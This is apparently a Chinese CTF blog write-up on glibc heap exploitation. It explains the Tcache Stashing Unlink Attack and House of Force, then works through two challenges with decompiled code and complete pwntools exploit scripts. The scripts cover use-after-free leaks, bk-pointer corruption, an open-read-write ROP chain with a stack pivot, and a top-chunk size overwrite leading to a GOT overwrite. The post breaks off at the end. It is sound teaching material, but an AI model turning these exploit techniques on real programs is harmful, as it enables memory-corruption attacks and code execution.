Ky不是枕木

分享学习经验

如果从fastbins中malloc-一个freechunk时,glibc会做以下两个检测:

Tcache Stashing Unlink Attack利用了House of Lore的一些手段,两者都是利用了small bin

House of Lore

House of Lore 攻击与 Glibc 堆管理中的 Small Bin 的机制紧密相关。
House of Lore 可以实现分配任意指定位置的 chunk,从而修改任意地址的内存。
House of Lore 利用的前提是需要控制 Small Bin Chunk 的 bk 指针,并且控制指定位置 chunk 的 fd 指针。

Tcache Stashing Unlink Attack

利用特性:
1.tcache bin中有剩余(数量小于TCACHE_MAX_BINS)时,同大小的small bin会放进tcache中
2.calloc函数分配堆块时不从tcache bin中选取。
3.修改一个small bin的bk指针时,就可以实现在任意地址上写一个libc地址,构造得当可以往任意地址申请chunk,实现任意地址写

利用前提

1
2
3
4
5
1.能控制 Small Bin Chunk 的 bk 指针。

2.程序可以越过Tache取Chunk。(使用calloc即可做到)

3.程序至少可以分配两种不同大小且大小为unsorted bin的Chunk。

攻击目标

  1. 向任意指定位置写入指定值。
  2. 向任意地址分配一个Chunk。

攻击前提

  1. 能控制 Small Bin Chunk 的 bk 指针。
  2. 程序可以越过Tache取Chunk。(使用calloc即可做到)
  3. 程序至少可以分配两种不同大小且大小为unsorted bin的Chunk。

攻击原理

我们首先分析House of Lore Attack中所忽视的Tcache相关代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#if USE_TCACHE //如果程序启用了Tcache
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
//遍历整个smallbin,获取相同size的free chunk
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
//判定Tcache的size链表是否已满,并且取出smallbin的末尾Chunk。
//验证取出的Chunk是否为Bin本身(Smallbin是否已空)
while ( tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin) ) != bin)
{
//如果成功获取了Chunk
if (tc_victim != 0)
{
// 获取 small bin 中倒数第二个 chunk 。
bck = tc_victim->bk;
//设置标志位
set_inuse_bit_at_offset (tc_victim, nb);
// 如果不是 main_arena,设置对应的标志
if (av != &main_arena)
set_non_main_arena (tc_victim);
//取出最后一个Chunk
bin->bk = bck;
bck->fd = bin;
//将其放入到Tcache中
tcache_put (tc_victim, tc_idx);
}
}
}
#endif

此处我们发现了一个很关键的情况!我们在此处没有经过House of Lore中必须经过的检查:

1
2
3
// 检查 bck->fd 是不是 victim,防止伪造
if ( __glibc_unlikely( bck->fd != victim ) )
malloc_printerr ("malloc(): smallbin double linked list corrupted");

但是此处又有了矛盾的地方!

首先,在引入Tcache后,Tcache中的Chunk拥有绝对优先权,我们不能越过Tcache向SmallBin中填入Chunk,也不能越过Tcache从SmallBin中取出Chunk。(除非Tcache已经处于FULL状态)

然后,我们如果要在这里启动攻击,那么要求SmallBin中至少有两个Chunk(否则无法进入While中的if语句块),同时要求Tcache处于非空状态。

那样就产生了矛盾,导致这个漏洞看似无法利用。

但是calloc函数有一个很有趣的特性,它不会从TcacheChunk,因此可以越过第一条矛盾“不能越过TcacheSmallBin中取出Chunk”。

然后是Unsorted Bin的**last remainder**基址,当申请的Chunk大于Unsorted Bin中Chunk的大小且其为Unsorted Bin中的唯一Chunk时,该Chunk不会进入Tcache

同时,我们来分析tcache_put函数

1
2
3
4
5
6
7
8
9
10
11
12
13
static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

可以发现,tcache_put函数没有做任何的安全检查。

那么,当Tcache存在两个以上的空位时,程序会将我们的fake chunk置入Tcache。

例题 BUUCTF-[2020 新春红包题]3

在这里插入图片描述
未开启canary保护,可能存在栈溢出

main函数

程序实现四个功能,增,删,查,改,还有一个栈溢出的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
void __fastcall __noreturn main(char *a1, char **a2, char **a3)
{
char v3[268]; // [rsp+0h] [rbp-110h] BYREF
int v4; // [rsp+10Ch] [rbp-4h]

v4 = 0;
sub_11D5();
sub_1450();
sub_1269();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
v4 = readd();
if ( v4 != 3 )
break;
a1 = v3;
edit(v3, a2);
}
if ( v4 > 3 )
break;
if ( v4 == 1 )
{
if ( x1c <= 0 )
exitt();
a1 = v3;
add(v3);
--x1c;
}
else
{
if ( v4 != 2 )
goto LABEL_19;
a1 = v3;
delete(v3);
}
}
if ( v4 == 5 )
exitt();
if ( v4 < 5 )
{
a1 = v3;
show(v3);
}
else
{
if ( v4 != 666 )
LABEL_19:
exitt();
stack_attack(a1, a2);
}
}
}

add函数

申请chunk,会指定chunk的序号,最大为16,且只能申请四种chunk,1.0x10 2.0xf0 3.0x300 4.0x400,并且是calloc函数分配堆块,chunk不会从tcache bin中取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int __fastcall sub_1515(__int64 a1)
{
int v2; // [rsp+10h] [rbp-20h]
int v3; // [rsp+14h] [rbp-1Ch]
unsigned int v4; // [rsp+18h] [rbp-18h]
int size; // [rsp+1Ch] [rbp-14h]

printf("Please input the red packet idx: ");
v4 = readd();
if ( v4 > 0x10 )
exitt();
printf("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ");
v3 = readd();
if ( v3 == 2 )
{
size = 0xF0;
}
else if ( v3 > 2 )
{
if ( v3 == 3 )
{
size = 0x300;
}
else
{
if ( v3 != 4 )
goto LABEL_14;
size = 0x400;
}
}
else
{
if ( v3 != 1 )
{
LABEL_14:
size = 0;
goto LABEL_15;
}
size = 16;
}
LABEL_15:
if ( size != 0x10 && size != 0xF0 && size != 0x300 && size != 0x400 )
exitt();
*(16LL * v4 + a1) = calloc(1uLL, size);
*(a1 + 16LL * v4 + 8) = size;
printf("Please input content: ");
v2 = read(0, *(16LL * v4 + a1), *(16LL * v4 + a1 + 8));
if ( v2 <= 0 )
exitt();
*(v2 - 1LL + *(16LL * v4 + a1)) = 0;
return puts("Done!");
}

delete函数

存在UAF

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall delete(__int64 a1)
{
unsigned int v2; // [rsp+1Ch] [rbp-4h]

printf("Please input the red packet idx: ");
v2 = readd();
if ( v2 > 0x10 || !*(16LL * v2 + a1) )
exitt();
free(*(16LL * v2 + a1)); // uaf
//
return puts("Done!");
}

edit函数

编辑的次数受qword_4010控制,qword_4010为1,只能编辑1次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall sub_1740(__int64 a1, __int64 a2)
{
void *v2; // rsi
int v4; // [rsp+18h] [rbp-8h]
unsigned int v5; // [rsp+1Ch] [rbp-4h]

if ( qword_4010 <= 0 )
exitt(a1, a2);
--qword_4010;
printf("Please input the red packet idx: ");
v5 = readd();
if ( v5 > 0x10 || !*(16LL * v5 + a1) )
exitt("Please input the red packet idx: ", a2);
printf("Please input content: ");
v2 = *(16LL * v5 + a1);
v4 = read(0, v2, *(16LL * v5 + a1 + 8));
if ( v4 <= 0 )
exitt(0LL, v2);
*(v4 - 1LL + *(16LL * v5 + a1)) = 0;
return puts("Done!");
}

在这里插入图片描述

show函数

1
2
3
4
5
6
7
8
9
10
11
int __fastcall sub_184E(__int64 a1)
{
unsigned int v2; // [rsp+1Ch] [rbp-4h]

printf("Please input the red packet idx: ");
v2 = readd();
if ( v2 > 0x10 || !*(16LL * v2 + a1) )
exitt();
puts(*(16LL * v2 + a1));
return puts("Done!");
}

栈溢出函数

执行栈溢出函数需要满足*(first_chunk + 2048)> 0x7F0000000000且*(first_chunk + 2040) 和 *(first_chunk + 2056)值为0。first_chunk就是我们申请的第一个chunk。

1
2
3
4
5
6
7
8
9
10
ssize_t sub_13BD()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

if ( *(first_chunk + 2048) <= 0x7F0000000000LL || *(first_chunk + 2040) || *(first_chunk + 2056) )
exitt();
puts("You get red packet!");
printf("What do you want to say?");
return read(0, buf, 0x90uLL);
}

思路

因为存在一个栈溢出的漏洞,我们可以使用堆ROP,而要想利用栈溢出漏洞需要将*(first_chunk + 2048)修改为一个大于0x7F0000000000的值,而*(first_chunk + 2040)和 *(first_chunk + 2056)本来就是0,保持不变即可。calloc函数分配堆块,chunk不会从tcache bin中取。程序至少可以分配两种不同大小且大小为unsorted bin的Chunk(0x300和0x400)。这里我们可以使用Tcache Stashing Unlink Attack。

调试过程

先把前面的写好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# coding=utf-8
from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug')

sh = process('./RedPacket_SoEasyPwn1')
#sh = remote('node4.buuoj.cn','27283')

libc=ELF("./libc-2.29.so")




s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
def dbg():
gdb.attach(sh)
pause()


def add(index,chunk_size_index,value):
ru('Your input: ')
sl('1')
ru('Please input the red packet idx: ')
sl(str(index))
ru('How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ')
sl(str(chunk_size_index))
ru('Please input content: ')
sl(value)

def free(index):
ru('Your input: ')
sl('2')
ru('Please input the red packet idx: ')
sl(str(index))

def edit(index,value):
ru('Your input: ')
sl('3')
ru('Please input the red packet idx: ')
sl(str(index))
ru('Please input content: ')
sl(value)

def show(index):
ru('Your input: ')
sl('4')
ru('Please input the red packet idx: ')
sl(str(index))

构造tcache bin

首先我们要获得unsorted bin的chunk,需要先填满0x400大小的tcache bin,填0x300大小的tcache bin只剩1个

1
2
3
4
5
6
7
8
9
10
#1.0x10 2.0xf0 3.0x300 4.0x400
for i in range(7):
add(15,4,'Chunk_15')
free(15)

for i in range(6):
add(14,2,'Chunk_14')
free(14)

dbg()

在这里插入图片描述
此时我们利用UAF可以泄露出heap地址

1
2
3
4
5
6
show(15)
last_chunk_addr = u64(ru('\x0A').strip('\x0A').ljust(8,'\x00'))
lg('last_chunk_addr',last_chunk_addr)
heap_addr = last_chunk_addr - 0x26C0
lg('heap_addr',heap_addr)
dbg()

在这里插入图片描述

利用unsorted bin构造两个small bin chunk

当我们申请一个chunk时,如果unsorted bin里有chunk,而我们所申请的chunk大小小于unsorted bin里的chunk,那么就把unsorted bin的chunk分割,拿出我们需要的大小申请chunk,剩下的继续留在unsorted bin中,
而如果我们申请的chunk大小大于unsorted bin中的chunk,那么就会把unsorted bin中的chunk,按照大小放入对应的bin中,之后再从top chunk中申请一个chunk。

我们可以先申请一个0x400大小的chunk,再申请一个0x300大小的chunk(防止合并),之后free 大小为0x400的chunk,再申请两次0x300大小的chunk,第一次申请的chunk会从0x400大小的chunk里切割出0x300,unsorted bin还剩0x100大小的chunk,第二次申请的chunk由于大于unsorted bin中的chunk,会将unsorted bin中的0x100大小的chunk放进small bin,我们利用同样的方法可以再次得到一个small bin的chunk,这样我们就得到了两个small bin chunk。

申请一个0x400大小的chunk,再申请一个0x300大小的chunk(防止合并),可以看到tcachebin中的chunk没有被拿走。

1
2
3
4
add(1,4,'Chunk_1')
add(13,3,'Chunk_13')

dbg()

在这里插入图片描述
我们free chunk1,因为chunk1大小为0x400,tcachebin中0x400大小的chunk已满了7个,所以进入unsorted bin,利用UAF泄露libc基地址

1
2
3
4
5
free(1)
show(1)
libc_base = u64(ru('\x0A').strip('\x0A').ljust(8,'\x00')) - 0x1E4CA0
lg('libc_base',libc_base)
dbg()

在这里插入图片描述
申请0x300大小的chunk,在unsortedbin里寻找大小为0x300的chunk,分割unsortedbin 里的chunk,拿出0x300,还剩0x100

1
2
add(13,3,'Chunk_13')
dbg()

在这里插入图片描述

在unsortedbin里寻找大小为0x300的chunk,此时unsortedbin中chunk只有0x100大小,0x100的chunk进入smallbin,从top chunk中分配0x300大小的chunk,成功制造一个small bin chunk

1
2
3
add(13,3,'Chunk_13')

dbg()

在这里插入图片描述
利用同样方法再构造一个small bin chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
add(2,4,'Chunk_2')
add(13,4,'Chunk_13')

#dbg()

free(2)

#dbg()

add(13,3,'Chunk_13')
add(13,3,'Chunk_13')

dbg()

在这里插入图片描述

并借此我们找到size大小为0x1010的就是first_chunk,借此我们算出刚刚泄露出的heap+ 0x250+0x10+0x800-0x10就是first_chunk+0x800的地址,small bin chunk2的fd指针指向small bin chunk1不变,所以我们还要算出small bin chunk1距离heap的距离0x37e0

修改small bin chunk的bk指针为first_chunk+0x800

1
2
3
payload='\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x37E0)+p64(heap_addr+0x250+0x10+0x800-0x10)
edit(2,payload)
dbg()

在这里插入图片描述
再次申请0x100大小的chunk,程序仅会检查Chunk2的fd指针是否指向Chunk1,在取出Chunk1后,因为0x100的Tcache Bin还有1个空位,程序会遍历发现Chunk2满足大小条件并将其放入Tcache Bin中,我们若此时篡改Chunk2的bk指针指向first_chunk+0x800,触发Tcache Stashing Unlink Attack将main_arena+336写入first_chunk+0x800,满足first_chunk+0x800大于0x7F0000000000.

在这里插入图片描述

构造ORW的ROP链放入堆块中

先获取一些gadget段, file_name_addr是我们要申请的下一个chunk的mem地址,也就是当前的top chunk的mem地址,距离heap 0x0000000000004A40

1
2
3
4
5
6
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
file_name_addr = heap_addr + 0x0000000000004A40 #下一个chunk的mem位置起始位置
flag_addr = file_name_addr + 0x0000000000000200 #将flag写到file_name_addr + 0x0000000000000200处,防止覆盖掉有用内容
ROP_chain = '/flag\x00\x00\x00'

open(file_name_addr,0)

1
2
3
4
5
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(file_name_addr)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(0)
ROP_chain += p64(libc_base+libc.symbols['open'])

read(3,flag_addr,0x40)
Read函数的第一个参数文件描述符从0开始累加,
程序进行时内核会自动打开3个文件描述符,0,1,2,分别对应,标准输入、输出和出错,
这样在程序中,每打开一个文件,文件描述符值从3开始累加。
我们打开了一个file_name_addr文件,文件描述符就变为了3,3就代表了file_name_addr文件
read函数第一个参数是3,就是在这个文件里读取数据。

1
2
3
4
5
6
7
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(3)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc_base+libc.symbols['read'])

write(1,flag_addr,0x40)

1
2
3
4
5
6
7
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(1)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc_base+libc.symbols['write'])

申请chunk,将ROP链写到chunk里

1
2
3
add(4,4,ROP_chain)

dbg()

在这里插入图片描述

栈迁移

利用read(0, buf, 0x90uLL);buf0x80字节,正好可以溢出0x10字节,进行栈迁移,将程序迁移到我们最新申请的chunk处执行我们的ROP链。
在这里插入图片描述

1
2
3
4
5
6
7
8
leave_ret = libc_base + 0x0000000000058373
ru('Your input: ')
sl('666')
ru('What do you want to say?')
#栈迁移
sl('A'*0x80 + p64(file_name_addr) + p64(leave_ret))

itr()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
# coding=utf-8
from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug')

sh = process('./RedPacket_SoEasyPwn1')
#sh = remote('node4.buuoj.cn','27283')

libc=ELF("./libc-2.29.so")




s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
def dbg():
gdb.attach(sh)
pause()


def add(index,chunk_size_index,value):
ru('Your input: ')
sl('1')
ru('Please input the red packet idx: ')
sl(str(index))
ru('How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ')
sl(str(chunk_size_index))
ru('Please input content: ')
sl(value)

def free(index):
ru('Your input: ')
sl('2')
ru('Please input the red packet idx: ')
sl(str(index))

def edit(index,value):
ru('Your input: ')
sl('3')
ru('Please input the red packet idx: ')
sl(str(index))
ru('Please input content: ')
sl(value)

def show(index):
ru('Your input: ')
sl('4')
ru('Please input the red packet idx: ')
sl(str(index))




#1.0x10 2.0xf0 3.0x300 4.0x400
for i in range(7):
add(15,4,'Chunk_15')
free(15)



for i in range(6):
add(14,2,'Chunk_14')
free(14)

#dbg()

show(15)
last_chunk_addr = u64(ru('\x0A').strip('\x0A').ljust(8,'\x00'))
lg('last_chunk_addr',last_chunk_addr)
heap_addr = last_chunk_addr - 0x26C0
lg('heap_addr',heap_addr)

#dbg()

add(1,4,'Chunk_1')
add(13,3,'Chunk_13')

#dbg()

free(1)
show(1)
libc_base = u64(ru('\x0A').strip('\x0A').ljust(8,'\x00')) - 0x1E4CA0
lg('libc_base',libc_base)


#dbg()

#在unsortedbin里寻找大小为0x300的chunk,分割unsortedbin 里的chunk,拿出0x300,还剩0x100
add(13,3,'Chunk_13')


#dbg()

#在unsortedbin里寻找大小为0x300的chunk,此时unsortedbin中chunk只有0x100大小,0x100的chunk进入smallbin,从top chunk中分配0x300大小的chunk
add(13,3,'Chunk_13')

#dbg()

#在申请一个0x400大小的chunk,再制造一个0x100的smallbin的chunk
add(2,4,'Chunk_2')
#申请一个chunk防止合并
add(13,4,'Chunk_13')

#dbg()

free(2)

#dbg()

add(13,3,'Chunk_13')
add(13,3,'Chunk_13')

#dbg()

payload='\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x37E0)+p64(heap_addr+0x250+0x10+0x800-0x10)
edit(2,payload)

#dbg()

add(3,2,'Chunk_3')
lg('heap_addr',heap_addr)

#dbg()

#ORW
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
file_name_addr = heap_addr + 0x0000000000004A40 #下一个chunk的mem位置起始位置
flag_addr = file_name_addr + 0x0000000000000200 #将flag写到file_name_addr + 0x0000000000000200处,防止覆盖掉有用内容
ROP_chain = '/flag\x00\x00\x00'
#open(file_name_addr,0)
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(file_name_addr)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(0)
ROP_chain += p64(libc_base+libc.symbols['open'])
#read(3,flag_addr,0x40)
#Read函数的第一个参数文件描述符从0开始累加,
#程序进行时内核会自动打开3个文件描述符,0,1,2,分别对应,标准输入、输出和出错,
#这样在程序中,每打开一个文件,文件描述符值从3开始累加。
#我们打开了一个file_name_addr文件,文件描述符就变为了3,3就代表了file_name_addr文件
#read函数第一个参数是3,就是在这个文件里读取数据。
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(3)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc_base+libc.symbols['read'])
#write(1,flag_addr,0x40)
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(1)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc_base+libc.symbols['write'])

add(4,4,ROP_chain)

#dbg()

leave_ret = libc_base + 0x0000000000058373
ru('Your input: ')
sl('666')
ru('What do you want to say?')
#栈迁移
sl('A'*0x80 + p64(file_name_addr) + p64(leave_ret))

#dbg()
itr()

House Of Force2

基于top chunk分配机制的利用,glibc会对用户请求的size_1和top chunk现有的size_0进行验证,如果size_0大于用户申请的chunk大小size_1,就会将从top chunk中切割出size_1大小的chunk,剩余部分放入top chunk。

如果top chunk足够大(size_0大于top chunk与目标地址的距离),malloc两次,第二次申请的chunk就会到目标地址处,实现一次任意地址写。

然而实际上top chunk 的size_0,一般不会这么大,所以这种利用手法的前提是可以修改top chunk的size_0大小,把它变成一个很大的数,一般是将其改为-1(32位:0xffffffff,64位:0xffffffffffffffff),因为在将size_0和size_1进行比较时会把size转换成无符号长整型数,因此-1也就是说unsigned long中最大的数。

glibc源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);

check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}

例题

bcloud_bctf_2016

在这里插入图片描述

在这里插入图片描述
程序实现了三个功能,增加一个chunk,编辑一个chunk的内容,删除一个chunk

add函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int add()
{
int result; // eax
int i; // [esp+18h] [ebp-10h]
int v2; // [esp+1Ch] [ebp-Ch]

for ( i = 0; i <= 9 && heap_array[i]; ++i )
;
if ( i == 10 )
return puts("Lack of space. Upgrade your account with just $100 :)");
puts("Input the length of the note content:");
v2 = choose();
heap_array[i] = malloc(v2 + 4);
if ( !heap_array[i] )
exit(-1);
dword_804B0A0[i] = v2;
puts("Input the content:");
readd(heap_array[i], v2, 10);
printf("Create success, the id is %d\n", i);
result = i;
dword_804B0E0[i] = 0;
return result;
}

add函数申请chunk时会创建一个存放所有chunk mem指针的全局数组,思考如果可以申请chunk到全局数组处,修改全局数组,实现任意地址写

edit函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int edit()
{
unsigned int v1; // [esp+14h] [ebp-14h]
int v2; // [esp+18h] [ebp-10h]
int v3; // [esp+1Ch] [ebp-Ch]

puts("Input the id:");
v1 = choose();
if ( v1 >= 0xA )
return puts("Invalid ID.");
v2 = heap_array[v1];
if ( !v2 )
return puts("Note has been deleted.");
v3 = dword_804B0A0[v1];
dword_804B0E0[v1] = 0;
puts("Input the new content:");
readd(v2, v3, 10);
return puts("Edit success.");
}

delete函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int delete()
{
unsigned int v1; // [esp+18h] [ebp-10h]
void *index; // [esp+1Ch] [ebp-Ch]
puts("Input the id:");
v1 = choose();
if ( v1 >= 0xA )
return puts("Invalid ID.");
index = heap_array[v1];
if ( !index )
return puts("Note has been deleted.");
heap_array[v1] = 0;
dword_804B0A0[v1] = 0;
free(index); #UAF
return puts("Delete success.");
}

delete函数在释放chunk时存在UAF漏洞

自定义一个read函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl readd(int a1, int a2, char a3)
{
char buf; // [esp+1Bh] [ebp-Dh] BYREF
int i; // [esp+1Ch] [ebp-Ch]

for ( i = 0; i < a2; ++i )
{
if ( read(0, &buf, 1u) <= 0 )
exit(-1);
if ( buf == a3 )
break;
*(a1 + i) = buf;
}
*(i + a1) = 0;
return i;
}

三个参数,a1为要输入的地址,a2为输入大小,a3为截止符

先把前面的一些东西写好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *
context(endian='little',os='linux',arch='i386',log_level='debug') #小端序,linux系统,64位架构,debug
#定义gdb调试函数
def dbg():
gdb.attach(sh)
pause()
#命令简写化
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims, drop=True :sh.recvuntil(delims, drop)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
sh = process('./bcloud_bctf_2016')
#sh = remote('node4.buuoj.cn',26937)
elf = ELF('./bcloud_bctf_2016')
def add(size,content):
sla('>>','1')
sla('note content:',str(size))
sa('content:',content)

def edit(index,content):
sla('>>','3')
sla('id:',str(index))
sa('content:',content)

def delete(index):
sla('>>','4')
sla('id:',str(index))

分析:

程序没有show函数,无法泄露libc基地址,观察程序发现最开时让我们输入name等信息处存在漏洞
在这里插入图片描述
在这里插入图片描述
strcpy复制结束的标志是’\x00’,chunk的mem大小只有64字节,如果输入64字节,show函数会把堆地址泄露出来

1
2
3
4
5
sa('name:','a'*64)
ru('a'*64)
heap_addr = u32(r(4)) - 0x8
lg('heap_addr',heap_addr)
dbg()

在这里插入图片描述

再看另一个函数
在这里插入图片描述

栈布局

1
2
3
4
5
6
7
8
9
10
11
-0000005C v2 dd ?
-00000058 db ? ; undefined
-00000057 db ? ; undefined
..........
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 v4 dd ?
-00000010 db ? ; undefined
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined

这里的v2,v3和v4,s都是位于栈上的,且在栈上s和v4的空间是连着的,而strcpy复制结束的标志是’\x00’,如果我们将s填满(b’b’*0x40),再将v3写为0xffffffff,那么strcpy(v4, v3);会把v4变为0xffffffff, strcpy(v2, s);会把b’b’*0x40+0xffffffff复制给v2,而v2也是一个size大小为0x40的chunk的mem指针,0xffffffff将覆盖到chunkv2 的下一位,而下一位正好是top chunk的大小,这样我们就成功将top chunk的大小改为了0xffffffff(-1)

1
2
3
4
sa('Org:','a'*0x40)
sla('Host:',p32(0xFFFFFFFF))
top_chunk_addr = heap_addr + 0x48*3 - 0x8
lg('top_chunk_addr',(top_chunk_addr))

在这里插入图片描述

之后就来算一下存放chunk指针的全局数组heap_array(0x0804B120)与top chunk的距离,
因为程序一开始就申请了三个大小为0x40的chunk(算上头指针为0x48),第一次泄露的heap已经算上头指针,heap与top chunk距离0x48*3-0x8=0xD0大小,再加上我们一开始泄露出来的heap的地址(heap_addr)就是top chunk的mem指针地址,

1
offset = heap_array - (top_chunk_addr +0x8)- 0x8

在这里插入图片描述

heap_array - top_chunk_addr是top chunk的mem地址,减去0x8字节是top chunk的头指针地址,
之后申请offset-0x10大小的chunk,之所以是再减0x8是因为我们要将heap_array作为mem区域来修改,第一次申请offset-0x10大小的chunk,为第二次申请的chunk预留出chunk头的0x8字节大小(0x4字节的pre_size位和0x4字节的now_size位)。再次申请chunk即为heap_array为mem区域的chunk,可修改heap_array数组,

1
2
add(offset,'\n')	
add(0x18,'\n')

之后编辑chunk_1来修改heap_array数组

1
2
3
4
puts_plt = elf.plt['puts']
__libc_start_main_got = elf.got['__libc_start_main']
free_got = elf.got['free']
edit(1,p32(0) + p32(free_got) + p32(__libc_start_main_got) + p32(heap_array + 0x10) + b'\x00'*0x8)

此时chunk依次为0,free_got,__libc_start_main_got,heap_array+0x10(保持原3号chunk不变)

1
edit(1,p32(puts_plt) + b'\n')

此时chunk_1存放free_got地址,编辑chunk_1,将free_got改为puts_plt函数地址

1
2
delete(2)
dbg()

free(chunk_2),相当于puts(__libc_start_main_got),泄露__libc_start_main_got地址,得到libc基地址,得到one_gadget地址
在这里插入图片描述

1
2
3
4
5
6
7
8
#本地
